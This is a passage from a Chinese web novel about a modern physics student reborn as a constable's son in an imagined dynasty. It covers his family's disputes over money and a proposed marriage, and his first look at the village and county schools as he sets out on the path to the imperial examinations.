《穿成捕头之子的科举路》 1. 第 1 章(捉虫) 《穿成捕头之子的科举路》全本免费阅读 大弘朝。 贞丰九年,四海清平。 四月中,春光似锦。 位于国之中部秦州府禄县的没玉村,依山傍水,遍种油菜花的山坡上满目金黄。 村子里人丁旺盛,皆是农户之家,这个时节,农家的男人们白天锄地,夜里搓麻,女人们白天烧饭、浆洗衣裳,夜晚在油灯下织布,农月里没有一个闲人。 孩童不懂种田织布之事,少了大人们的管教,张家的阿福,李家的阿贵,王家的阿虎……成串的皮猴儿昨日在溪头摸鱼,今日在山坡上追野兔,明日去桑阴树下捉蝴蝶……处处飘着小儿的欢笑声。 这日午后,群童正在追逐嬉闹,忽然,跑在最前头脏得跟泥猴儿一样的阿福面色一变,紧张地扭头朝沈家的阿池扯着嗓子喊道:“阿池,你是偷跑出来玩的吧,你娘来寻你了,手里还拿着擀面杖呢。” 另一孩童高声尖叫:“阿池你要挨打了。” 一个生得白净,眉眼清秀的小儿听到喊叫从孩童堆里钻出来,他掸了掸滚了一身的泥巴,撒开小短腿朝山坡下跑去。 这个七岁上下的顽童就是沈家的阿池。 不远处,一位年轻的农家媳妇儿正快步朝他们走来,她用一根漆簪子挽着发髻,穿一身半旧不新的斜襟长襦,走得飞快,是沈家二房的娘子,阿池他娘。她半挽袖口,右手拿着一根每家每户都有的祖传捶淘气小子的神器——擀面杖。 这是群童头一次看见阿池的娘发火要揍孩子,虽然暂时还没打上,但他们看热闹不嫌事大,呼啦一下,不约而同地给沈家娘子让开了路。 在群童兴奋的期待中,阿池“嗖”地一下扑进沈家娘子怀里,甜甜地叫了声:“阿娘。” 沈家二房娘子被扑了个趔趄,她虎着脸将高高举起的擀面杖收起来,并没有痛打儿子一顿。 群童有些失望,转而开始拱火:“沈家婶婶,阿池方才上树了。” “阿池还下河了。” “阿池还……” “阿池,”沈家娘子对他们的告状充耳不闻,她蹲下身摸了摸儿子的小脑瓜,笑的时候左边脸颊出隐现浅浅的梨涡:“阿娘听你爹说有条野狗在村子里乱窜,你没遇到吧?”她扫视了一眼孩童们,笑眯眯地说道:“你们也都快回家去吧,莫被野狗咬了。” 菜花黄,野狗狂。每年一到油菜花盛开的时候,总有一两条野狗在村里出没,这时候大人们总是格外操心自家的孩子,生怕他们被狗咬。要是万一那狗有疯病,可不得了了,被咬一口会没命的。 群童张大嘴巴:“……”他们心想:原来阿池的娘手里拿的擀面杖不是来揍他的,而是为他撵野狗用的,他娘可真好,不管阿池怎么淘气都不会打他。 不像他们的阿娘,时常上来一瞪眼劈头盖脸先揍他们一顿再说。 群童们又失望又羡慕,深恨自己没托生在沈家娘子的肚子里,又真怕哪里真格窜出一条野狗来咬人,纷纷少了玩兴蔫头耷脑地各回各家。 阿池也跟着沈家娘子回自个家去。 “阿池”是他这辈子的小名,当年他娘怀着他的时候去村头的池塘里挖莲藕,结果不小心跌了一跤,回到家就早产了,所以他的小名叫“阿池”,他的大名叫“沈持”,听说是他爹找贵人取的,至于是何方贵人,就不得而知了。 他是胎穿到这里来的,转眼之间将近七年的时光。当朝一般说虚岁,他快八虚岁了。 上辈子他叫“沈迟”,自小患有先天性心脏方面的疾病,不过这没耽误他考上顶尖大学的物理系,然而到了研三的时候,毕业在即,无形中忙得焦头烂额顾不上养病,一天半夜突发心脏不适,再一睁眼就穿到这里来了。 刚穿来的头几年,他的神志不是特别清醒,只隐隐知道自己穿到了沈家一个初生小婴儿的身上,每日迷迷糊糊地吃了睡,睡了吃,不知道岁月流转,约摸从四岁左右开始,他才逐渐和这个叫“沈持”的小童融为一体,换了副身躯,困扰他的心脏病不再,每日浑身都是满满的活力,反倒上辈子像一场虚无的梦了。 沈持很感激他娘给了他这么一副健康的身躯,因而纵然穿越到了古代,享受不到丁点儿后世科技带来的便捷和乐趣,他依旧甘之如饴。 并不是那么想穿回去。 禄县的没玉村并不是“红尘中一二等富贵风流之地①”,这里只是一个山高皇帝远的小乡村,据他粗浅的历史常识判断,他穿来的这个朝代历史上没有记载,社会发展大致平行于明初中期,家家户户以农耕为业,靠天吃饭,穷得夯实。 甚至上辈子常见的农作物,红薯、花生、玉米,还没有在这个朝代出现,饮食显得单调。 沈家是没玉村的农户,世代务农,他爷爷沈山和奶奶老刘氏养活了仨儿子,如今都已娶妻,有了一下辈的儿女,满当当的一大家子人。 他爹叫沈煌,在家中行二,长到十六岁的时候,恰好禄县的县衙向各村遴选三班衙役,这个朝代县级的三班说的是皂班、壮班和快班,三班衙役分工明确,皂班的衙役一般分在县衙值堂役,也就是内勤,为县太爷等县中的贵人服务,向来是非常抢手的差事,这种好事要给家中在县衙有点门路的人留着,沈家没个有头有脸的人能说得上话,自然落不到他们的头上,快班的衙役司缉捕,佩刀或者剑,非常的威武,但需要自幼习武的才能担任,有门槛的差事更轮不到他了,亏得那年壮班需要一拨做力差,也就是干体力活,打杂的人,沈煌长得人高马大眉目周正,一看就是能当牛马使唤的,因而中了选,自此做了县衙壮班的衙役。 像沈煌这样在县衙壮班打杂的差役,是本朝最底层的编外小吏,由衙门给发工资,当朝叫“工食银”,每年有六两银子的俸禄,但几乎没有机会晋升,俸银也不会提高,一辈子从开头看到末尾,饶是如此,也比农户在土里刨食强的多多了,他的入选让村里旁的农户们眼红不已。 一晃十多年过去,沈煌当差踏实肯卖力,得了县丞王大虬的信任,让他带着几个衙役日夜在禄县境内巡逻,一来震慑想要作奸犯科的小人,二来驱赶比如野狗、野猪、鹰隼等可能伤及百姓的山野猛禽、兽类,积年累月守护一方百姓,因而十里八乡的农户见了他都要带着敬意称一声“沈捕头”。 他娘朱氏是个地地道道的农妇,性子直爽,嫁进沈家后,生育了他和妹妹沈月一儿一女,一家四口靠着勤劳和节俭,还有 2. 第 2 章 《穿成捕头之子的科举路》全本免费阅读 可恰巧这时候沈煌下差回来了,他从兜里掏出个小油纸袋递给朱氏,而后进屋拿湿毛巾抹了把脸,过来截住沈持,一把把儿子抱起来转圈,表达他粗糙而又直接的父爱:“阿池想爹爹了吗?” 沈煌今年二十八岁,正是一个男子最盛年的岁数,虽然日日在外头吹风淋雨面皮没那么白皙,但丝毫不影响他的风姿,反更添了男人味。 朱氏在一旁笑着轻声抱怨道:“每天回来当甩手掌柜,去把柴劈了。” “走,跟爹劈柴去。”沈煌把他放下来,好脾气地对朱氏说道:“好好好,我这就去劈柴。” 朱氏却又改了主意:“你过来,我先同你说几句话。” 沈煌只得跟她进屋,朱氏把史家的事跟他说了。 过了会儿沈煌出来,他领着沈持去柴房,闷头挑了一根烂了半截的木桩拿砍柴刀划拉着:“早上京里的史家来找你爷了。” “嗯。”沈持点头:“听我娘说了。” 沈煌看着他身上崭新的衣裳沉默了片刻:“要爹说啊……”他惭愧地说道:“咱们家这情况人家京城史家的闺女嫁过来……” 他怕沈持听不懂,费力地解释道:“史家跟咱们吃的穿的用的住的,甚至连说话都不一样……”史家的闺女来日嫁到沈家,小两口过日子却连话都说不到一块儿去,你暴躁她也难过,夫妇不同心,是憾事不是喜事。 齐大非偶。 他摇摇头,似是不舍又似长痛不如短痛那般纠结了片刻,说道:“阿池,依爹的想法,咱不要这门亲事好不好?” 比起高攀京城史家的亲事,他更愿意等日后阿池长大了,在县里挑个门当户对的贤惠女子娶进门,夫唱妇随,和和美美地过一辈子。 不得不说,他爹沈煌真是个明事理的。 沈持丝毫没有犹豫:“我听爹的。” 沈煌没想到儿子答应的这么爽快,微皱了下眉头,心道:这小子不贪心,是他的好儿子。 “别跟你娘说,”他劈好柴禾,码放齐整一捆一捆扎起来:“不然爹有苦头吃了。” 朱氏要得知他撺掇儿子不去争抢京城史家的那门亲事,非跟他吵个没完不可。 “嗯,我知道了。”沈持乖乖地答道。 “走,”沈煌直起腰来拍拍衣衫,给他使了个眼色:“回屋找你娘去吧。” 沈持“嗯”了声。 沈煌看着儿子小小的背影,心想:凭着他这些年的拼命,多少在管三班衙役的县丞大人那里挂了名,等日后阿池长大了,总能举荐他当上衙役的,当上县里的衙役,不说大富大贵,但比起种地务农,吃上皇粮总是安稳的。 里屋,沈持四岁半的妹妹沈月坐在矮凳上,两只白胖的小手捧着块烧饼在吃,嘴角沾了芝麻,朱氏拿手指肚抹下来,放在她唇边让她抿进嘴里:“给你奶瞧见,又该骂你爹白眼狼了……” 烧饼是沈煌带回来的,他近来时不时被叫去县衙打杂,晌午饭也在那里吃,遇上哪回饭食略好一些的,他总能省下来一个烧饼或者几块肉揣兜里,带回家给朱氏和一双儿女吃,他们也很期待这种隔三岔五的“加餐”。 见沈持进来,朱氏也塞给他半块烧饼:“阿池,去把门关上。” 沈煌带回来的吃食不多,别叫大房三房的孩子冷不丁跑进来瞧见,哭闹着要分烧饼吃不好看。 沈持听话地关上门,他掰了一块儿给朱氏:“阿娘也吃。” 朱氏笑着摇摇头推了回去:“阿池快吃吧。”沈月也学着哥哥的样子举起手里的烧饼往朱氏嘴里塞,朱氏就着她的手咬了一小口:“阿月真乖。” 沈月四岁半了还不会开口说话,请大夫看过,诊断后说她是个哑巴。为此,沈煌夫妇很是发愁,私下里不知道叹了多少气。 “老二家的,大白天关着门在屋里头作甚?”娘仨正吃着烧饼,外头传来老刘氏不满的嘀咕声。 朱氏看着大口吞咽的沈持兄妹俩,生怕噎着孩子,心虚地道:“在给阿月换衣裳呢,娘有事儿吗?” “小丫头片子天天换衣裳作甚,别养娇气了,”老刘氏:“老二呢?你爹找他。” “他在柴房劈柴呢。”是来找沈煌的,朱氏松了口气出去开门:“爹找他?我这就去叫他来。” 片刻后,她回屋跟沈持说道:“阿池,去你爷那屋玩儿,听听他们说什么。” 沈山找儿子们过去,许是要商量史家那门好亲事给哪个孙子的吧,朱氏心里头紧张兮兮的,她暗自祈愿,巴望着儿子能被选中。 沈持:“知道了。” 他到了堂屋外面,大伯家的沈全和小叔家的沈知秋都在,二人眼巴巴地伸着脖子往屋里望去。 沈家堂屋的桌子上放着一盘银子,足有五六十两。 沈山和老刘氏坐在上首,他俩都是瘦长脸,很有夫妻相。大儿子沈文站在老两口身边,他个头矮,甚至比老刘氏坐着高不了多少,他耷拉着眼皮,将将三十的年纪却一脸的老相,和姿仪英气的老二沈煌,第一眼小白脸的老三沈凉比,看起来完全不像是同一个爹妈生的,真让人唏嘘。 沈文没长起来,一直是沈山和老刘氏两口子的心病,从前每每看着他沉默在屋里发呆的样子,老两口都觉得对不住老大,所以家里但凡有些好东西的,都先紧着给老大。 他说媳妇儿的时候,沈山更是大手一挥耗尽家中积蓄,给了亲家杨家三十六两的高额彩礼,这钱够一家子嚼用多少年,每每想起来,老刘氏都心疼的要命。 大儿媳妇杨氏过门之后,不织布也不做家务,对此,老刘氏都不敢吭一声,谁叫沈文五短身材不好讨媳妇儿呢。 不过沈文虽然生的不俊,但为人憨厚,且是干农活的一把好手,杨氏过门后虽然成日里好吃懒做,但好在肚子争气,叫他们五年抱了俩孙子一孙女,子孙旺盛得羡煞旁人。 眼瞧着沈家的日子过得红红火火,谁知道没过多久小儿子沈凉捅了个篓子——和村里头的小寡妇张氏勾搭上了,硬着哭天抢地闹着娶回家来当正经婆娘,好不丢人现眼。 而且张氏最会占便宜贪小,用老刘氏的话说,老三媳妇跟莲藕成精似的,全身都是心眼,一天到晚算计沈家,气得她天天都要骂老三媳妇一顿。 但骂归骂,谁叫沈凉是小儿子呢,骂完该怎么偏疼三房还怎么偏疼。 “阿大,阿秋,”老刘氏瞥见孙子在屋外头,吆喝道:“一边玩儿去。” 将他们撵了出去。 沈持顺坡下驴,回去跟朱氏说他奶不让他们在堂屋玩儿。朱氏拉着脸,很是不满。 “早上京城史家打发了人来,”堂屋中,沈山端坐着徐声说道:“说史老将军得知我有四个孙子,有意嫁个孙女进沈家。” 他扫了眼儿子们:“我呀,给推了。” 沈文和沈凉猛地抬头看着沈山:“爹?” 沈山点点头:“爹知道,只要和史家结亲,史家闺女带一笔嫁妆嫁进来,咱们沈家就发达了。” 史家为了报他当年的恩情,嫁女儿时 3. 第 3 章 《穿成捕头之子的科举路》全本免费阅读 沈凉媳妇张氏在进沈家之前嫁过一个读书人,虽说人早早没了,但她还一直引以为傲,时常说以后等阿秋大了,也要送他去念书考秀才呢。 这回有了银子,沈知秋也半大不小了,张氏说不准立马送他去念书。 “相公,”朱氏狠了心说道:“阿池总在村里野着不是个办法,要不,送去镇上念书吧?” 沈煌叹了口气:“就算苦着你拿出这二十两银子供他念书,也不过三五年紧巴巴的花销,”他摇摇头:“到时候还能给你考个秀才回来?” 想到县里白发苍苍一把岁数还没考上秀才的老童生,他又说道:“考不上秀才,读一二十年书又有什么用?” 他想让沈持去习武,日后他去县丞大人跟前求个人情,让儿子当上快班的衙役。 朱氏没话说了。 转念一想,她又道:“万一阿秋去念书识字,回来处处压阿池一头怎么办。” 她的阿池既不是长孙又不是幼孙,沈山不怎么疼,好事都落不到他头上,日后沈知秋去念书给沈家长脸,就只剩阿池啥也不是,叫他怎么办。 朱氏不依不饶地数落着丈夫,最后抽噎着哭起来。 “罢了罢了,”沈煌说道:“既如此,你明日问问阿池,他要是愿意去念书的,就送私塾吧。” 朱氏这才不同他闹了。 三房沈凉屋里,张氏握着两个银元宝瞧了半天,悄声对丈夫说道:“爹这是糊弄咱们呢吧?” 她不信史家只给沈家区区60两银子就能抵一门亲事:“要么史家给了很多银子,要么,这门亲事还作数……” 不知沈山那个老狐狸葫芦里卖的什么药。 沈凉打了个哈欠:“管他怎样,给咱们银子就行。” 张氏瞪他一眼:“我想让阿秋去念书。”她更倾向于沈山根本没和史家退亲,而是暂时拿不定主意挑哪个孙子跟史家结亲,她心道:大房的阿大阿二随了沈文,长得黧黑粗短拿不出手,老两口不待见二房,但又不能越过阿池把这天大的好亲事给阿秋,毕竟阿秋比阿池还小两个月…… 她越发觉得沈山多半是有意让阿秋跟史家结亲,只是苦于没有一个让大房二房服气闭嘴的理由没法眼下就跟史家说定亲事,还要缓些时日再提出来。 至于史家送银子给沈家嘛,越看越像给沈家小辈的零花钱,毕竟多少年才走动一次。 既然阿秋将来要娶史家的闺女,张氏想着不禁笑出声来:“得让阿秋念书,不读书认字,将来怎么同史家姑娘说上话呢。” “他能念出个什么来?”沈凉被她笑得一愣一愣的,撇嘴说风凉话:“你真敢想。” 张氏冷哼:“你等着瞧,我生的儿子错不了。” 沈凉懒得多说:“好,念书,念书……”反正这个家张氏说什么是什么,他才懒得管,随她折腾去。 …… 次日一早吃完早点,朱氏给沈煌使了个眼色,他意会,抱着沈月出去:“阿爹带月儿去摘花。” 沈月不会说话,用小手紧紧搂住沈煌的脖子。 爷俩儿到外头去了,朱氏才对沈持说道:“阿池,娘同你说件事情。” “阿娘,是什么事情?”他还是头一次看见朱氏这般严肃地同他说话。 “昨儿京城史家来人说亲,”朱氏说道:“这事儿你知道的吧?” 沈持点点头:“阿娘我晓得。” 朱氏又道:“你爷选了你。”“听你爷说啊,史家在京城都是数得着的富贵人家,叫什么四世三公来着……” 沈持惶惶:“……” 正窒息着呢,忽而,他看到朱氏的眼神闪了闪,哦,那没事了,一定是在骗他的。虚惊一场啊。 “我的阿池长的俊。”朱氏搂着他:“要是读过书以后就更配得上史家闺女了,阿娘和你爹商量好了,过两日送你去镇上的私塾念书,你说好不好?” 读书。 这两个字对于这辈子的沈持来说,几乎是个不敢想的奢侈事情。随着年岁增长,他不是没有盘算过,可是这个朝代念书的开支很大,他算了算,沈煌一年的俸禄银子一分不动全给他才勉强够去镇上读私塾,然而他娘还年轻,总不能一年到头不添一件衣裳吧,妹妹沈月又有哑病,万一日后打听到治病的大夫,又得花大把的银子,总不能让一家子节衣缩食供他吧,遂打消了读书的念头。 想着等一两年后去县里头寻一寻生财的路子再做打算,此时听朱氏这么一说,他说道:“可是阿娘,念书要花很多银子的。” 还有,沈家这样的农户之家,哪怕真的读书中了状元又走运当上大官,似乎也攀不上高门世家出身的史家闺女。 朱氏开始编说辞:“你爹……嗯前阵子你爹立了功,县丞老爷赏了二十两银子……” 沈持对银子的来历心存疑虑:“阿娘,容我想想。” 二十两银子要是用的得当,想个法子钱生钱,后续陆续有银子进账,何愁念书的开销。要是光指这点儿银子去念书,想图个前程考科举,只怕连头一道的县试都撑不到。 科举啊,他脑中立马条件反射想到了上辈子高中学过的《范进中举》——啊,当时年少只觉得范进好可怜大骂科举制度,后来么,当他读到后续,得知范进考中进士被选为御史,直至做到朝廷正四品大员风光了下半生,才知道他当初有多幼稚草率了。 能让读书人为之皓首穷经的科举,放眼整个古代都是一条能让人飞黄腾达的正途,沈持怎能不肖想。 朱氏拿手指点了点他的脑门,眼圈红了:“你这孩子,连上学这么好的事你都答应的不干脆,你这是要气死我啊。” “阿娘,”沈持感念这辈子沈煌夫妇对他的养育之恩,说道:“我还小过几年去念书不迟的,这二十两银子,不如咱们去省城寻个大夫,给阿月看看病吧?” “阿池,”朱氏把他抱着怀里,难过地说道:“阿月的病治不好的。” 神医能起死人肉白骨,却从未听说有谁能让哑巴开口说话的。尽管知道治不好,但他们还在四处打听着,可见心中是存了一丝“要是万一遇上大罗神仙能治好”的侥幸念想的。 沈持说了几句宽慰她的话,终是下了决心:“阿娘,等有机会我去远远望一眼学堂好吗?”< 4. 第 4 章 《穿成捕头之子的科举路》全本免费阅读 张氏却不会看眼色似的,转头搂着她儿子沈知秋:“阿秋去哪儿玩了?娘看看手洗干净没有。” 杨氏吃了闷亏气得心口作痛,只好讪讪地看着桌子上热气腾腾的饭菜,这顿饭是老刘氏烧的,她抠搜得不行,窝头都蒸的比平日里小一圈。 她更来气了,冲沈全和沈正骂道:“……才穿的衣裳又滚一身泥,打明儿开始别想老娘再给你们做新的……” 屋里吵吵嚷嚷的,直到沈山带着沈文和沈凉进来落座才瞬间噤声。沈文坐的很是拘谨,而沈凉眼神懒散地扫过桌子上的饭菜,大约没胃口,很是没有坐相地往椅子上一歪。 沈山不怎么古板,也没给孙儿们立多少规矩,一家人上了桌子后,他略夹了一筷子,算是让孩子们开动的意思,呼啦一下,一盆窝头就被拿光了。 沈持一开始吃饭还矜持,后来每次他和沈月都抢不到,他就不想那么多了,只要沈山头一筷子放下,他立马伸手拿过来两个窝头,他一个,给沈月一个。 小丫头接过窝头的时候总是对着他笑,眼睛弯成月牙,又黑又亮的瞳眸很是讨人喜欢。 那些菜他倒没多少胃口,蔬菜来来回回总是地里挖出来的几样,用水煮或者烫了撒点盐巴就这么吃,野菜不要钱,所以为了省米,粥里也放了野菜,这让粥不太好吃,他每顿挑挑米,那些野菜就剩在碗里了。 “爹,娘,”一顿饭吃罢,张氏先向二老卖乖:“昨儿分了银子,我想着留在手里指不定怎么就花出去了,不如送阿秋去私塾念书,不指望他考上状元给咱们沈家光宗耀祖,只盼他能读个秀才出来,每月从县衙领两斗米孝敬爷奶就是好的。” 老刘氏瞧了瞧沈凉,脸上勉强挤出些笑意:“老三媳妇有这个志向,我本不该说扫兴话的,只是咱家……” 祖坟上冒不出青烟供个秀才啊,别说秀才了,连童生都没出过。 张氏被泼了冷水也不恼,笑着换了个说法:“如今二哥在衙门里当差,想是趟出路来了,将来要是有缺口的,他侄子阿秋又是个识字的,不比别人容易进去些?” 沈山听着张氏说的实际,毫不犹豫地拍板道:“就依老三媳妇的,让阿秋去念书。”省得手头有点银子都被游手好闲的老三挥霍。 朱氏心中冷冷哼道:沈煌在县衙混出头脸来,那也是给她儿子阿池铺路,轮得到侄子们?想得美。 杨氏一看三房要送儿子去念书,心疼银子但不甘心他家儿子当睁眼瞎,也说道:“阿大和阿二都这么大了,我早合计着送他俩去念书,奈何先前实在拿不出束脩来,如今有了银子,这不正打听着私塾呢。” 她心道:史家不会只给沈家区区六十两银子,老两口手里还捏着没拿出来分的,要是老三家的送儿子去上学,老两口看重阿秋,指不定怎么补贴呢,她能眼瞧着这块肥肉不吃? “阿池也要去上学,”朱氏笑眯眯地说道:“正好哥儿四个搭伙作伴儿。” 三个媳妇儿说完,沈山终于再次开口:“都送去念书。” 念书识字是正经事。 张氏脸上的笑意冷下来,这一个个的,也不看看自家儿子是不是上学的苗子,怎么能跟她的阿秋比,到时候读不出个名堂来,就等银子打水漂吧。 各房揣着心思吃完这顿饭,老刘氏把朱氏留下来收拾屋子。 沈持心疼他娘:“奶,我帮你吧。”朱氏饭前一直在忙,不能一大家子都指望着她娘伺候。老刘氏瞪他一眼:“小孩子家家的,玩去玩去。” “阿池,带着月儿玩去。”朱氏给他使了个眼色,不叫他管大人的事。 沈持牵着沈月出去。 屋里只剩下婆媳二人的时候,老刘氏说道:“老二家的,今日本来轮到老大媳妇烧饭拾掇屋子,不是阿娘偏疼大儿子,她嫁给老大委屈她了,要是日子过的不舒心,万一哪天跑了,老大得打光棍了……” 朱氏心道:老三媳妇儿嫁进来的后,您老不也偏疼三房媳妇儿,说来说去还是沈煌不得您二老的心罢了。 她委屈过,但是架不住沈煌对她好,嫁过来这么多年,他每次从县里下差回来,时常给她带吃的用的,两个人关起门来过了几年蜜里调油的日子,时间久了也不把家里头的那点零碎当回事了。 正擦桌子呢,沈持在门外喊了声:“阿娘,我爹回来了。” 朱氏听见这话,她把抹布往几上一搁:“娘,我回屋了。” 老刘氏动了动干瘪的薄唇,想说句什么话,奈何老二媳妇已经出去了,她朝门外勾了勾头,使劲嗅着:“跑这么快,难不成老二带卤肉回来了……” 她赶紧去告诉大孙子沈全:“你二叔屋里头有卤肉。” 沈全拔腿就往二房屋里跑,沈正听了也追过去。 很快,三房的沈知秋也来了,挤在一起大眼瞪小眼。 从前沈煌下了差带吃的回来,侄子侄女们闻着味儿来,朱氏头先还分给他们吃,后来沈持兄妹俩长的瘦小,她便小气了,让他带吃食回来得时候用油纸包好,不露一点儿味出来,都留给自个儿的俩孩子吃。 朱氏往外撵人:“今儿你们二叔跌了一身牛粪回来,臭着呢,快出去吧。” 沈全他们这才不情不愿地走了。 仨小子被哄骗走后,她拿出还温着的一个卤大骨:“阿池,快和月儿吃了吧。” 沈持拿到手撕下一小块儿,而后塞给沈月:“阿月快吃。”沈月接过去,三两口啃了个精光。 等沈全他们闻到味儿又反扑回来时,只看到了沈月嘴唇还没来得及擦掉的一圈油光。 沈正“哇”地一声哭着回去告状。 这让大房和三房气死了,明知道沈煌带了吃食回来,却不拿出来一起分,于是到沈山和老刘氏跟前去说朱氏的闲话。 “要我说,都是老二媳妇儿撺掇的, 5. 第 5 章 《穿成捕头之子的科举路》全本免费阅读 听说近来县中不知道从哪里跑来几个蟊贼作乱,县太爷陆沉日夜悬心,生怕伤了治下的百姓,命壮班的衙役们日夜轮流巡逻,非要抓住歹人不可,因而沈煌的休沐泡汤,甚至一连几日都不曾回家,顾不上带沈持去看学堂。 沈家人一商量,由沈山带着四个孙子到镇上的私塾去。五月初六这日清晨,沈持早早起来拾掇,他穿上青衿,这是朱氏特地给他做的,是当朝的“学生服”——一件交领的青色襕衫,是读书人考上生员之后的常服,是以有“布衣即白丁之谓,青衿乃生员之称①”的说法。在当朝,小童们去私塾的时候为了表示郑重,也可穿青衿。 朱氏的手巧,青衿穿上很合身。 沈全、沈正和沈知秋也都穿着同样款式的青衿,沈全和沈正的有些窄了,穿上紧绷,他俩不自觉收着肩,一脸拘谨的神情。 “青衿,青领也,学子之所服。②”出了沈家的门,沈知秋一板一眼地掉书袋,把沈全和沈正听得云里雾里的,但是很羡慕,心中暗暗的有些自卑。 沈正扯着沈全的袖子:“哥,你喜欢念书吗?”沈全欲言又止:“应该喜欢吧。”他听三婶说的“万般是狗屎,只有读书香。”,说道:“念书大概和吃烧饼夹肉一样香。” 阿二抿了抿嘴唇,馋得想哭:“……”这么说读书是天大的好事,是不是念书回家就有烧饼夹肉吃了? …… 沈山带着四个孙子搭了一辆去镇上的骡车,吱呀吱呀的很快就到了镇上。一眼看去,镇上是比村里繁华,有货郎挑着担子走街串巷吆喝着买卖,十分的热闹。 他们走了几步路,来到一座宅院跟前,门边悬着个木牌子,上面写着——“苏家私塾”四个字,便是清镇上最大的私塾,他们要找的地方。 门没有关严实,留了一条半人宽的缝隙,沈持远远地望进去一眼,庭院中的正堂用作教室,是一间打通了的木制结构的建筑,四面安装着四方的窗棂,没有糊窗户纸,阳光透进去,把教室里照得明亮。 里面大约有三十来位年纪不一的学生,上至30多的童生,下到8岁的蒙童,每人一套桌椅,面前摆放着书本、镇尺和砚台、毛笔。他们坐得笔直,手背在身后,摇头晃脑地背书。 教室的前面挂着一张孔子像,画像中的孔圣人目透精光,睿智而严厉地俯瞰着学子,一位老夫子端坐在高脚长桌边上,他五十多岁的年纪,头发花白,胡子有些打结,看起来不是很讲究,应该是苏秀才了。 听说他年近五十才考中秀才,实在没心劲往上考进士了,于是在镇上开了家私塾,靠教书为生。 等学生们背诵完一段,他开始讲课。 沈持听了一会儿他讲课,实话实说,苏秀才的课讲得很投入,他手不释卷,口若悬河,滔滔不绝。 但是好半天,沈持愣是没听懂他在讲什么,只晓得他讲的课好枯燥好深奥。不能说跟听天书似的一字都没听懂,但也差不多了。 他以为自己不熟悉古文的缘故,没想到底下的学生也是云里雾里,不少人小鸡啄米似的一点头一点头,打起瞌睡。 或许是被感染了,沈持也困困的,忍不住想要打个哈欠,昏昏欲睡。 苏秀才讲着讲着见学生们没了动静,还有人头都要挨着课桌了,他可容不得别人这样轻视课堂,手持戒尺敲了敲讲台,把正打算去和周公短暂约个会的学生惊醒。 几个年岁小的蒙童倏然一惊,霎时坐直了身体。 “再瞌睡,”苏秀才严厉地说道:“打手板。” 学生们强打起精神来,两眼空空地竖起耳朵听讲。 这档子功夫,苏秀才往无意间往门外一瞥,看到了正在专注听讲的沈持,以为他满心向往学堂,不由得生出自豪之心。他很是欣慰,又一板一眼地讲他的课去了。 …… 隔着门,沈持只觉得一股浓重的沉闷扑面而来,让他霎时提不起精神。 这时候苏秀才的书童,说是书童,看着有二十多岁了,他看见有人在门外,放下书背着手出来把他们请进去,沈山道明来意:“听说这里收学生,我家四个孙子有意求学,我带他们来见见先生。” “好,好——”书童见一下子来了四个学生,连连说好,目光从沈全身上扫过,最后瞧着沈持问他:“几岁了?” “到下个月就八岁了。”沈持口齿清楚地说道。 书童满意地点点头:“前头有个孩子程旭,与你年岁相仿的时候来这里念书,17岁就考中童生了。” 只在这里读九年的书就考中童生,沈山听到这话,一脸的与有荣焉。 客观地说,在古代,科举是个漫长的事业,从垂髫蒙童到七十老翁,只要走得动路愿意考的都能考,考官也没有年龄歧视,程旭能在17岁考中童生,已算是年少得志,旁人难望其项背了。但沈持却在心里哀嚎:读书九年才考中童生,那要读多少年才能考中秀才,重点——要花多少银子啊! 他很缺银子,想要“速成”。 沈持又朝里面瞟去一眼,看着一个二十多岁还没考上童生的学子,心中直摇头,这种熬岁数的方式看来不适合他,他要速度考上童生,秀才,强烈的直觉告诉他,他并不想来这里念书。 沈持想“择校”!找个可以“速成”的学堂。 听村里人说县里的青瓦书院出过好几个神童,十来岁就考上了童生,未满十六岁就考中秀才,速度惊人,好像很适合他。 苏秀才的书童和沈山相谈甚欢,看样子彼此都很满意对方,沈家孩子入私塾的事大抵说定了。 不好耽搁人家太长时间,商定之后,沈山带着孙子们告辞。 往回走了片刻后,沈持忽然说道:“爷,我想我爹了,去县城找他,你们先回去吧。”他来的时 6. 第 6 章 《穿成捕头之子的科举路》全本免费阅读 隐隐可看见先生站着,他身板颀长挺拔,不知他讲到了什么,一个蒙童听得开心地咯咯笑起来,他干脆连板凳也不做了,直接席地而坐摇头晃脑地念诵起来:“君子素其位而行,不愿乎其外。素富贵,行乎富贵①……” 字正腔圆,中气十足,沈持听清楚了这句,心道:原来是在讲《中庸》啊。 背书的蒙童一边念书还一边团了个纸球弹到后面去,后面的同学接住了,展开在上面涂涂画画,之后又团起来,丢给左边的同学。 不知道纸上画的什么,很快引起一阵哄堂大笑。 教书的先生俊脸上明显泛起一阵惊愕,放下书卷温和地让他们把纸团拿给他看。 后面一个胖胖的蒙童把纸球捏紧,投给了先生。年轻的教书先生展开纸团,上面画只一只蹲在米缸旁边虎视眈眈的黑猫,一只眯眸仰壳躺在面缸后面的白猫,他快速过目后高声读道:“……东市有家米铺养了只黑猫看管谷仓,黑猫很会抓老鼠,米铺从来没有鼠患,西市有家面铺养了只白猫看家,铺中老鼠却成群结队偷吃,掌柜只能夜里起来赶跑老鼠……” “笨,”教书先生摇摇头:“白猫不会抓老鼠,那就教它抓嘛。” “不对先生,”有蒙童反驳道:“面铺的掌柜应该找米铺的掌柜,用他家的白猫换会捕鼠的黑猫。” “人家凭什么拿会抓老鼠的猫换一只笨猫?”另有蒙童喊道。 群童哄堂大笑,笑脸上朝气满溢。 “……后来,西家面铺的掌柜花了几百文铜板跟东家的面铺换了黑猫,可是黑猫到了面铺后偷懒耍滑,而白猫到了米铺后却尽忠职守狂抓老鼠……” 讨论热烈进行着。 “东家的掌柜会驯猫呀,他把《猫经》放在猫窝,让猫每日诵读一篇,修炼捕鼠本领,又把‘笞猫鞭’挂在米缸上,发现它有偷懒行为,就抽鞭子训诫……” 沈持大体听懂了他们讲的黑猫白猫的故事,却没想到年轻的夫子从米铺驯猫的故事中引申道:“《易经》中说‘一阴一阳之谓道’,又说‘太极生两仪,两极分阴阳,两者不可或缺。本朝三朝帝师,大儒王渊讲过,治国似太极,儒学之仁与法家之严刑峻法,恰如太极之两仪,互为阴阳。儒家讲的仁治,譬如给偷懒的猫儿念《猫经》,是为仁,法家讲的法,惩戒和刑狱,就像笞猫儿的鞭子,是为法,仁与法共济,天下方可大治啊。” 他怎么也没想到这看似嬉笑玩闹的课堂竟然是在讲四书五经之一的《易经》,以小故事开头,以《易经》中的主题论儒法治国,新颖别致,他在心中大呼精彩,又想:这青瓦书院的先生和苏家私塾的先生,差距竟这么大。 不敢偷窥太久,沈持悄悄爬下树,又转回书院的前门。 午后,终于有人从青瓦书院的门槛里出来了。 